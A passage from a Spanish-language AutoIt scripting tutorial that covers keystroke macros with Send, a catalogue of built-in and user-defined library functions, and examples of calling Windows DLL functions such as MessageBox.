- <https://www.autoitscript.com/autoit3/docs/functions/Send.htm>

- <https://www.autoitscript.com/autoit3/docs/appendix/SendKeys.htm>

- NOTA: La combinación: **"Ctrl+Alt+Delete"**, no se puede utilizar con esta función.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Abrir el Bloc de notas y escribir un texto.**

- Esto ya lo vimos en el tutorial: [**27.- Construir una macro. Bloc de notas.**](http://kio4.com/autoit/27_macro_bloc_notas.htm)

- Observamos que con la función **Send**podemos enviar caracteres y teclas de control del teclado.

|  |
| --- |
| **Macro Bloc de notas.** |
| Run("notepad.exe")  WinWaitActive("Sin título: Bloc de notas")  Send("Se escribirá: Visita KIO4.COM.")  WinClose("Sin título: Bloc de notas")  Sleep(3000)  WinWaitActive("Bloc de notas"**,** "Guardar")  Send("!N") |

- **Send y ControlSend**, la diferencia es que mediante **Send** se envía un texto a cualquier ventana que en ese momento esté **en primer plano** en la pantalla. **ControlSend** envía un texto a una ventana específica. Por ejemplo: **ControlSend**("Sin título: Bloc de notas" , "" , "" , "Escribo en el Bloc de notas automáticamente.").  
En el caso del ejemplo anterior, como la ventana activa es el Bloc de notas, Send enviará el texto a esa ventana.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Sacar la ventana de Administrador de tareas.**

- Podemos sacar la ventana del Administrador de tareas pulsado a la vez la combinación de teclas Mayúsculas + Control + + Escape.

- NOTA: a la tecla (Shift)(Desplazar, cambiar) la denomino tecla Mayúscula.

- Con Autoit sería:

**Send("{LSHIFT}+^{ESC}")**

- La tecla "Control" se representa con**^**(Pulsa este acento circunflejo y espacio).

- El signo más significa que las teclas están pulsadas **a la vez.**

- Con**^**, no hace falta el signo más.

- Observa que estos elementos van entre "doble comillas".

|  |
| --- |
| **Abrir el Administrador de tareas.** |
| **Send**("{LSHIFT}+^{ESC}") |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Hibernar mediante las teclas.**

- Vamos a hibernar el ordenador utilizando el teclado. Pulsamos las siguientes teclas, observa la imagen.

- Tecla Windows. Tecla Tabulador. Tecla End (Fin). Tecla flecha cursor abajo. Tecla cursor derecha. Tecla H, subrayada, para eso pulsar tecla Mayúscula y H.

- A la tecla con la flecha hacia arriba "Shift" la llamo "Mayúscula".

|  |  |  |  |
| --- | --- | --- | --- |
|  | |  | | --- | | **Hibernar** | | Send("^{ESC}") **; Es como pulsar el botón de Inicio de Windows.**  Beep(1100**,**500) **; Beep de frecuencia 1100 Hz y 500 ms de duración.**  Sleep(1000) **; Espera 1 segundo.**  Send("{TAB}") **; Tecla Tabulador.**  Beep(1100**,**500)  Sleep(1000)  Send("{PGDN}") **; Tecla Fin (End).**  Beep(1100**,**500)  Sleep(1000)  Send("{DOWN}") **; Flecha del cursor abajo.**  Beep(1100**,**500)  Sleep(1000)  Send("{RIGHT}") **; Flecha del cursor derecha.**  Beep(1100**,**500)  Sleep(1000)  Send("{LSHIFT}+H") **; Mayúscula y a la vez letra H.** |     - También podríamos haber puesto el código en una sola línea sin temporizaciones para que lo ejecute rápidamente:  Send("^{ESC}{LWIN}{TAB}{PGDN}{DOWN}{RIGHT}{LSHIFT}+H") |

- Podemos poner Send("{LWIN}") o bien Send("^{ESC}") para sacar la ventana de inicio.

- Beep(1100,500) ; Beep de frecuencia 1100 Hz y 500 ms de duración.  
- Sleep(1000) ; Espera 1 segundo.

- Podría haber puesto Beep(1100, 1500) y evitaba el Sleep, pero sería un tono demasiado largo y molesto.

- PGDN, es la tecla "Fin" que suele estar sobre los cursores de flechas.

- A veces en las ventanas de Windows ves letras subrayadas, podemos ir al menú de esas letras pulsando ALT y la letra o bien Mayúscula y la letra.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- Pulsar la tecla "Imprimir pantalla" para capturar la pantalla.**

|  |  |  |  |
| --- | --- | --- | --- |
| |  | | --- | | **Capturar la pantalla.** | | Send("{PRINTSCREEN}") **; Capturar pantalla.**  Beep(1100**,**500) | | - Luego vas al **Paint** y pulsa las teclas CONTROL    V  - Para pegar la captura de pantalla. |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
6.- WinMenuSelectItem.**

- Saca una ventana de una aplicación.

|  |  |  |
| --- | --- | --- |
| |  | | --- | | **WinMenuSelectItem** | | Run("notepad.exe")  WinWaitActive("Sin título: Bloc de notas")  Send("Se escribirá: Visita KIO4.COM.{ENTER}")  Beep(1100**,**500)  WinMenuSelectItem("[CLASS:Notepad]"**,** ""**,** "&Edición"**,** "&Hora y fecha")  WinMenuSelectItem("[CLASS:Notepad]"**,** ""**,** "&Archivo"**,** "Sa&lir")  WinWaitActive("Bloc de notas"**,** "Guardar")  Beep(200**,**1000)  Send("!N") | |

- Fíjate que aquí las letras subrayadas de los menú se reconocen por el carácter**&.**

- Obseva las letras subrayadas en la siguiente imagen. (Recuerda que se obtiene pulsando la tecla ALT o Mayúsculas.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
7.- Copiar y pegar.**

- Sabemos que para copiar algo en Windows primero lo marcamos y luego pulsamos las teclas CTRL C  
- Para pegar algo que ya esté previamente copiado, nos situamos en un lugar y pulsamos CTL V

- En AutoIt podemos copiar y pegar mediante:

Send("{CTRLDOWN}c{CTRLUP}")

Send("{CTRLDOWN}v{CTRLUP}")

- Para ejecutar el siguiente script, primero copiamos algún texto. Ese texto se pegará en el Bloc de notas con este script.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
8.- HotKeySet.**

- Otra función:

- <https://www.autoitscript.com/autoit3/docs/functions/HotKeySet.htm>

|  |
| --- |
| **Copiar y pegar.** |
| Run("notepad.exe")  WinWaitActive("Sin título: Bloc de notas")  Send("Se escribirá: Visita KIO4.COM.{ENTER}")  Beep(1100**,**500)  WinMenuSelectItem("[CLASS:Notepad]"**,** ""**,** "&Edición"**,** "&Hora y fecha")  Send("{ENTER}")  Send("{CTRLDOWN}v{CTRLUP}")  Send("{ENTER}")  Beep(2000**,**500)  Send("{CTRLDOWN}v{CTRLUP}")  Send("{ENTER}")  Beep(2000**,**500)  Send("{CTRLDOWN}v{CTRLUP}")  Send("{ENTER}")  Beep(2000**,**500)  WinMenuSelectItem("[CLASS:Notepad]"**,** ""**,** "&Archivo"**,** "Sa&lir")  WinWaitActive("Bloc de notas"**,** "Guardar")  Beep(200**,**1000)  **;Send("!N")** |

- Se utiliza para que cuando pulsemos una tecla o una combinación de teclas, se realice alguna acción.

- Por ejemplo cuando pulsemos la tecla F2, se abra el Bloc de notas.

HotKeySet("{F2}", -------)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**52.- Funciones.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Funciones propias de AutoIt.**

- En este enlace tenemos la funciones propias de AutoIt

**-**[**https://www.autoitscript.com/autoit3/docs/functions.htm**](https://www.autoitscript.com/autoit3/docs/functions.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Funciones definidas por el usuario. UDF.**

- Pero además de esas funciones propias de AutoIt, se dispone de otra serie de funciones denominadas "funciones definidas por el usuario".

- En [**https://www.autoitscript.com/wiki/User\_Defined\_Functions**](https://www.autoitscript.com/wiki/User_Defined_Functions) se encuentra un listado de funciones y sus enlaces, puedes curiosear algunas de ella.

- Aquí hago una recopilación de varias de ella.

- Simplemente entra en su página y copia y pega el código de ejemplo que se encuentra al final.

- En los tutoriales verás muchas veces las siglas UDF(Funciones Definidas por los Usuarios), son librerías que han creado los usuarios, por ejemplo [Mouse\_UDF](https://www.autoitscript.com/forum/topic/155469-autoit-powered-mouse-events-_mouse_udf/)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- ChooseColor. Elegir color.**

[**\_ChooseColor.**](https://www.autoitscript.com/autoit3/docs/libfunctions/_ChooseColor.htm)

- Sale una ventana desde donde pondemos elegir un color.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- ChooseFont. Elegir fuente de caracteres.**

[**\_ChooseFont.**](https://www.autoitscript.com/autoit3/docs/libfunctions/_ChooseFont.htm)

- Sale una ventana desde donde pondemos elegir un color o bien puede salir la ventana ya con un color establecido, por ejemplo el Arial, como en la imagen.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- ClipPutFile. Guarda información en el portapapeles.**

[**\_ClipPutFile**](https://www.autoitscript.com/autoit3/docs/libfunctions/_ClipPutFile.htm)

- El ClipBoard es el portapapeles, donde se guardan la información cuando pulsamos en copiar para luego pegar.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- \_Crypt\_EncryptFile. \_Crypt\_DecryptFile. Encripta y desencripta archivo.**

[**\_Crypt\_EncryptFile**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Crypt_EncryptFile.htm)

[**\_Crypt\_DecryptFile**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Crypt_DecryptFile.htm)

- Elegimos un archivo, elegimos en qué archivo se va a convertir encriptado. Ponemos una contraseña.

- El archivo sin encriptar permanece, podemos hacer que cuando encripte, borre el archivo sin encriptar.

- Para desincriptarlo.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
5.- \_DateAdd. Añade o resta día, hora, minuto a otra fecha.**

[**\_DateAdd**](https://www.autoitscript.com/autoit3/docs/libfunctions/_DateAdd.htm)

[**\_DateDiff**](https://www.autoitscript.com/autoit3/docs/libfunctions/_DateDiff.htm) también presenta la diferencia entre dos fechas.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
6.- \_DateOfWeek. Escribe con letras el día de la semana.**

[**\_DateDayOfWeek**](https://www.autoitscript.com/autoit3/docs/libfunctions/_DateDayOfWeek.htm)

- Muestra con letras el día de la semana.

- Para que esté en español debes poner**$DMW\_LOCALE\_LONGNAME**

- RECUERDA: **Los días de la semana y los meses se escriben con minúsculas:**

lunes, martes, miércoles, jueves, viernes, sábado, domingo, enero, febrero, marzo, abril, mayo, junio, julio, agosto, septiembre, octubre, noviembre y diciembre.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
7.- \_DateTimeFormat. Escribe la fecha en formato largo o corto.**

[**\_DateTimeFormat**](https://www.autoitscript.com/autoit3/docs/libfunctions/_DateTimeFormat.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
8.- \_DateToMonth. Escribe con letras los meses.**

[**\_DateToMonth**](https://www.autoitscript.com/autoit3/docs/libfunctions/_DateToMonth.htm)

- Muestra con letras el mes.

- Para que esté en español debes poner **$DMW\_LOCALE\_LONGNAME**

- RECUERDA: **Los días de la semana y los meses se escriben con minúsculas:**

lunes, martes, miércoles, jueves, viernes, sábado, domingo, enero, febrero, marzo, abril, mayo, junio, julio, agosto, septiembre, octubre, noviembre y diciembre.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
9.- \_Date\_Time\_GetFileTime. Muestra las fechas de un archivo.**

[**\_Date\_Time\_GetFileTime**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Date_Time_GetFileTime.htm)

- Fecha de creación, la última vez que se accedió y la fecha de la última modificación.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
10.- \_Date\_Time\_GetTickCount. Cuánto tiempo lleva el ordenador encendido.**

[**\_Date\_Time\_GetTickCount**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Date_Time_GetTickCount.htm)

- Muestra cuánto tiempo, en milisegundos, ha pasado desde que arrancó Windows.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
11.- \_Date\_Time\_SetFileTime. Puedes cambiar la fecha de un archivo.**

[**\_Date\_Time\_SetFileTime**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Date_Time_SetFileTime.htm)

[**\_Date\_Time\_EncodeFileTime**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Date_Time_EncodeFileTime.htm)

- Primero codificamos una fecha y hora a formato Fecha mediante **\_Date\_Time\_EncodeFileTime**

- Luego cambiamos la fecha con **\_Date\_Time\_SetFileTime**

$tFile = \_Date\_Time\_EncodeFileTime("6", "24", "2020", "18", "6", "4")  
\_Date\_Time\_SetFileTime($hFile, $tFile, $tFile, $tFile)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
12.- \_Degree. \_Radian. Pasar de radianes a grados y de grados a radianes.**

[**\_Degree**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Degree.htm)

[**\_Radian**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Radian.htm)

- Las operaciones trigonométricas de seno, coseno, tangente,... se realizan en radianes. Pero estamos más acostumbrados a utilizar grados, mediante la función \_Radian es fácil pasar de radianes a grados.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
13.- \_FileCreate. \_FileListToArray. Crea un archivo vacío. Muestra el listado de archivos de una carpeta.**

[**\_FileCreate**](https://www.autoitscript.com/autoit3/docs/libfunctions/_FileCreate.htm)

[**\_FileListToArray**](https://www.autoitscript.com/autoit3/docs/libfunctions/_FileListToArray.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
14.-\_FileWriteToLine. Puede escribir en cualquier línea de un archivo.**

[**\_FileWriteToLine**](https://www.autoitscript.com/autoit3/docs/libfunctions/_FileWriteToLine.htm)

- Con las funciones típicas de archivos se añaden líneas nuevas al final del archivo. Con esta función podemos insertar un renglón**en cualquier línea** del archivo.

[\_ReplaceStringInFile](https://www.autoitscript.com/autoit3/docs/libfunctions/_ReplaceStringInFile.htm)

- Con esta función reemplaza una cadena de caracteres.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
15.-\_FTP. Funciones para FTP.**

FTP es un protocolo para subir/bajar archivos a/desde un servidor.

Se dispone de muchas funciones para trabajar con este protocolo.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
16.-\_GDIPLUS. Funciones para dibujar líneas, círculos, colores,...**

- GDIPLUS son funciones para dibujar.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
17.- \_GetIP. Obtiene tu IP Pública.**

[**\_GetIP**](https://www.autoitscript.com/autoit3/docs/libfunctions/_GetIP.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
18.- \_GUI. Elementos gráficos de las ventanas.**

- Cuando veas algo referente a \_GUI, trata de elementos de las ventanas, botones, casilleros, etiquetas, colores, letras, dimensiones,...

- GUI significa Interface Gráfica del Usuario (*Graphical User Interface).*[Ver en Wikipedia.](https://es.wikipedia.org/wiki/Interfaz_gr%C3%A1fica_de_usuario)

- Un Interface es un intermediario entre dos sistemas. Por ejemplo las ventanas de Windows con sus botones, etiquetas, casilleros,... es el intermediario o interface entre el usuario y el sistema operativo.

- Si utilizamos comandos de sistemas, (cmd), la interface entre el usuario y el sistema será un interface de texto.

- Si utilizamos ventanas, botones, etiquetas, casilleros,... la interface entre el usuario y el sistema será gráfico, será un GUI.

- Esos que hemos nombrados son interfaces de software.

- También hay interfaces o drives hardware. Por ejemplo para conectar un motor a un ordenador es necesario un circuito intermediario, ese circuito es el driver.

- Si queremos conectar una bombilla (bombillo) a un ordenador no podemos hacerlo directamente, hace falta un circuito intermedio con relés u otros tipos de componentes, ese circuito es el driver, también se puede considerar un interface o intermediario.

- También se llama driver al "programa" que relaciona un dispositivo con el sistema operativo. Si conectamos una tarjeta de sonido al ordenador es necesario un programa "driver" que relaciones a esa tarjeta con el ordenador.

- Así que un driver o interface es un programa o un circuto que relaciona un elemento con otro, bien sean elementos software o elementos hardware.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
19.- \_IsPressed. Consulta si se ha pulsado alguna tecla.**

[**\_IsPressed**](https://www.autoitscript.com/autoit3/docs/libfunctions/_IsPressed.htm)

- Con esta interesante función podemos consultar si se ha pulsado determinada tecla.

- Podemos hacer un script con esta función, de manera que si por ejemplo pulsamos la tecla ESC, cerraría el script.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
20.- Varias funciones matemáticas.**

[**\_MathCheckDiv**](https://www.autoitscript.com/autoit3/docs/libfunctions/_MathCheckDiv.htm) Consulta si dos número son divisibles.

[**\_Max**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Max.htm)Consulta cuál de dos números es mayor.

[**\_Min**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Min.htm) Consulta cuál de dos números es menor.

[**\_MouseTrap**](https://www.autoitscript.com/autoit3/docs/libfunctions/_MouseTrap.htm) No deja que el ratón salga de una ventana.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
21.- \_Now. La fecha y hora de hoy, ahora.**

[**\_Now**](https://www.autoitscript.com/autoit3/docs/libfunctions/_Now.htm)

[**\_NowDate**](https://www.autoitscript.com/autoit3/docs/libfunctions/_NowDate.htm)

[**\_NowTime**](https://www.autoitscript.com/autoit3/docs/libfunctions/_NowTime.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
22.- \_RunDos. Ejecuta comandos del sistema.**

[**\_RunDos**](https://www.autoitscript.com/autoit3/docs/libfunctions/_RunDos.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
23.- \_ScreenCapture\_Capture. Captura la pantalla.**

[**\_ScreenCapture\_Capture**](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_Capture.htm) Puede capturar una zona de la pantalla.

[**\_ScreenCapture\_SaveImage**](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_SaveImage.htm) Guarda la pantalla capturada.

[**\_ScreenCapture\_SetTIFCompression**](https://www.autoitscript.com/autoit3/docs/libfunctions/_ScreenCapture_SetTIFCompression.htm)Comprime el archivo de la pantalla en formato TIF.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
24.- \_SetDate. \_SetTime. Pone la fecha y hora al sistema.**

[**\_SetDate**](https://www.autoitscript.com/autoit3/docs/libfunctions/_SetDate.htm)

[**\_SetTime**](https://www.autoitscript.com/autoit3/docs/libfunctions/_SetTime.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
25.- \_Sound. Se dispone de funciones \_Sound para trabajar con sonidos.**

[**\_SoundPlay**](https://www.autoitscript.com/autoit3/docs/libfunctions/_SoundPlay.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
26.- \_SQLite. Base de datos interna.**

- SQLite es una base de datos interna muy conocida y utilizada también en Android.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
27.- \_TicksToTime. Pasa el Tick a horas, minutos y segundos.**

[**\_TicksToTime**](https://www.autoitscript.com/autoit3/docs/libfunctions/_TicksToTime.htm)

[**\_TimeToTicks**](https://www.autoitscript.com/autoit3/docs/libfunctions/_TimeToTicks.htm)

- El Tick es el tiempo en milisegundos.

- Podemos hacer operaciones de sumas y restas con Tick y después pasarlo a horas, minutos y segundos.

- Toma la hora actual, hora, minuto y segundo, lo convierte en Tick

- Suma 45 minutos convertido en milisegundos al Tick.

- Presenta la nueva hora, minuto y segundo

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
28.- \_WinAPI. Funciones de Windows.**

- Son funciones de Windows que podemos utilizar desde el AutoIt.

- Esta es la web de Microsoft que muestra sus funciones:

<https://msdn.microsoft.com/en-us/library/aa364232(v=vs.85).aspx>

- Veamos algunas API de Windows.

[**\_WinAPI\_ClipCursor**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_ClipCursor.htm) El ratón solo se puede mover por una zona determinada de la pantalla.

[**\_WinAPI\_CloseDesktop**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_CloseDesktop.htm)Cierra el Escritorio.

[**\_WinAPI\_CreateDirectory**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_CreateDirectory.htm)Crea un directorio.

[**\_WinAPI\_CreateFile**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_CreateFile.htm) Crea un archivo.

[**\_WinAPI\_DeleteFile**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_DeleteFile.htm) Borra un archivo.

[**\_WinAPI\_DestroyWindow**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_DestroyWindow.htm) Elimina una ventana.

[**\_WinAPI\_EnumFiles**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_EnumFiles.htm) Listado e archivos y directorios.

[**\_WinAPI\_FindFirstFile**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_FindFirstFile.htm) Busca archivos.

[**\_WinAPI\_WriteFile**](https://www.autoitscript.com/autoit3/docs/libfunctions/_WinAPI_WriteFile.htm) Escribe texto en un archivo en la posición determinada.

**53.- Funciones DLL.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Funciones propias de AutoIt. DLL.**

- En este enlace observamos una serie de funciones de trabajo con DLL (Dynamically Linked Library) de Windows.

**-**[**https://www.autoitscript.com/autoit3/docs/functions.htm**](https://www.autoitscript.com/autoit3/docs/functions.htm)

- DLL son archivos que en su interior contienen trozos de códigos (funciones). También pueden contener imágenes, especialmente iconos.

- Podemos llamar a un función que se encuentre en el interior de un DLL y actuar con esa función.

|  |  |
| --- | --- |
| [DllCall](https://www.autoitscript.com/autoit3/docs/functions/DllCall.htm) | Dynamically calls a function in a DLL. |
| [DllCallAddress](https://www.autoitscript.com/autoit3/docs/functions/DllCallAddress.htm) | Dynamically calls a function at a specific memory address. |
| [DllCallbackFree](https://www.autoitscript.com/autoit3/docs/functions/DllCallbackFree.htm) | Frees a previously created handle created with DllCallbackRegister. |
| [DllCallbackGetPtr](https://www.autoitscript.com/autoit3/docs/functions/DllCallbackGetPtr.htm) | Returns the pointer to a callback function that can be passed to the Win32 API. |
| [DllCallbackRegister](https://www.autoitscript.com/autoit3/docs/functions/DllCallbackRegister.htm) | Creates a user-defined DLL Callback function. |
| [DllClose](https://www.autoitscript.com/autoit3/docs/functions/DllClose.htm) | Closes a previously opened DLL. |
| [DllOpen](https://www.autoitscript.com/autoit3/docs/functions/DllOpen.htm) | Opens a DLL file for use in DllCall. |
| [DllStructCreate](https://www.autoitscript.com/autoit3/docs/functions/DllStructCreate.htm) | Creates a C/C++ style structure to be used in DllCall. |
| [DllStructGetData](https://www.autoitscript.com/autoit3/docs/functions/DllStructGetData.htm) | Returns the data of an element of the struct. |
| [DllStructGetPtr](https://www.autoitscript.com/autoit3/docs/functions/DllStructGetPtr.htm) | Returns the pointer to the struct or an element in the struct. |
| [DllStructGetSize](https://www.autoitscript.com/autoit3/docs/functions/DllStructGetSize.htm) | Returns the size of the struct in bytes. |
| [DllStructSetData](https://www.autoitscript.com/autoit3/docs/functions/DllStructSetData.htm) | Sets the data of an element in the struct. |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Llamada.**

- Este código llama al archivo user32.dll que se encuentra:

%windir%\SysWOW64\user32.dll en los Windows de 32 bits

%windir%\System32\user32.dll en los Windows de 64 bits.

- Dentro de ese archivo se encuentra la función "MessageBox" que crea la Caja de mensajes. Ponemos algunos parámetros necesarios y realiza exactamente la aparición del MsgBox.

|  |
| --- |
| **DLL** |
| ; Calling the MessageBox API directly.  DllCall("user32.dll", "int", "MessageBox", \_  "hwnd", 0, \_ ; Handle to the parent window  "str", "Some text", \_ ; The text of the message box  "str", "Some title", \_ ; The title of the message box  "int", 0) ; Flags for the message box. |

- Para ver los iconos y algunas cosas más de un DLL podemos utilizar [Resource Hack.](http://www.angusj.com/resourcehacker/#download)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Iconos en el shell32.dll.**

- Observamos que el archivo shell32.dll contiene muchos iconos, si un programa de Windows necesita uno de esos iconos, tendría que llamar a ese shell32.ll y decirle el número de icono que quiere.

|  |
| --- |
| **Abre el archivo shell32.dll** |
| #include <MsgBoxConstants.au3>  ; Show the Windows PickIconDlg.  Local $sFileName = @SystemDir & '\shell32.dll'  ; Create a structure to store the icon index  Local $tIconIndex = DllStructCreate("int")  Local $tString = DllStructCreate("wchar[260]")  Local $iStructsize = DllStructGetSize($tString) / 2  DllStructSetData($tString, 1, $sFileName)  ; Run the PickIconDlg - '62' is the ordinal value for this function  DllCall("shell32.dll", "none", 62, \_  "hwnd", 0, \_  "struct\*", $tString, \_  "int", $iStructsize, \_  "struct\*", $tIconIndex)  $sFileName = DllStructGetData($tString, 1)  Local $iIconIndex = DllStructGetData($tIconIndex, 1)  ; Show the new filename and icon index  MsgBox($MB\_SYSTEMMODAL, "Info", "Last selected file: " & $sFileName & @CRLF & "Icon-Index: " & $iIconIndex) |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**54.- Dibujo de un cuadrado y un círculo.**

- Se dibuja un cuadrado y un círculo rellenos de rojo. Cuando pulsamos los Botones cambian de rojo a azul y viceversa, según el botón pulsado.

|  |
| --- |
| **Cuadrado y círculo.** |
